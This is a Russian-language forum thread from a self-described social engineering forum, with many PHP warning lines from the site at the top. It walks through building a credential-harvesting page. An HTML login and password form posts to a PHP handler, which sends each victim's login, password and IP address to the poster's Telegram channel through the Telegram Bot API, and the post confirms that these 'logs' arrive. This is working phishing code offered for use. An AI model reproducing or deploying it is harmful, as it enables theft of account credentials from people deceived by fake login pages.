Отправка логов в Telegram. | ФОРУМ СОЦИАЛЬНОЙ ИНЖЕНЕРИИ ⭐️MeHack⭐️ - Читы, базы, раздачи аккаунтов, сливы скриптов, способы заработка
Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 401

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 403

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 409

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 411

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 417

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 423

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 425

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 427

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 429

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 435

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 437

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 443

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 445

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 451

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 453

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 455

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 457

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 463

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 469

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 475

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/XenForo/Locale.php on line 491

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /home/zevs240/public_html/library/Siropu/AdsManager/Helper/General.php on line 2627

Отправка логов в Telegram.

Тема в разделе "PHP", создана пользователем GhostDesign, 25.07.18.Просмотров: 623

  1. GhostDesign Гость

    GhostDesign

    розыгрышей
    1.Создаем файл с расширением .html, в моем случае он главный, поэтому назову его index.html.
    HTML:
    <!DOCTYPE HTML>
    <head>
    <title>Тест. Отправка логов в телеграм</title>
    </head>
    <body>
    <center>
    <form method="post" action="main.php">
    <input type="text" name="login" placeholder="Логин">
    <br>
    <input type="password" name="pass" placeholder="Пароль">
    <br>
    <input type="submit" value="Отправить">
    </form>
    </center>
    </body>
    В нем находится форма с двумя инпутами (дефолт, логин-пароль). Отправка в обработчик идёт методом POST, а сам файл обработчика я назвал main.php. На выходе у вас получится точно так же
    [​IMG]

    2. В файле обработчике заявим все переменные, а именно: логин, пароль, ip адрес, токен, чат ид(в моем случае ник канала)
    PHP:
    <?php
    $login 
    = $_POST['login'];
    $pass = $_POST['pass'];
    $ip = $_SERVER['REMOTE_ADDR'];
    $token = 'токен';
    $chatid = '@чат';
    $send = file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chatid}&parse_mode=html&text=Был выполнен вход!%0AЛогин: {$login}%0AПароль: {$pass}%0AIP: {$ip}");
    ?>
    Как вы уже заметили все строиться на одной лишь ссылке, в которой и находятся все переменные. Проверяем Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    (IP адрес принадлежит VPN Windscribe)
    Как мы видим все работает, бот присылает сообщение с логами в наш канал(бота нужно добавить в администраторы).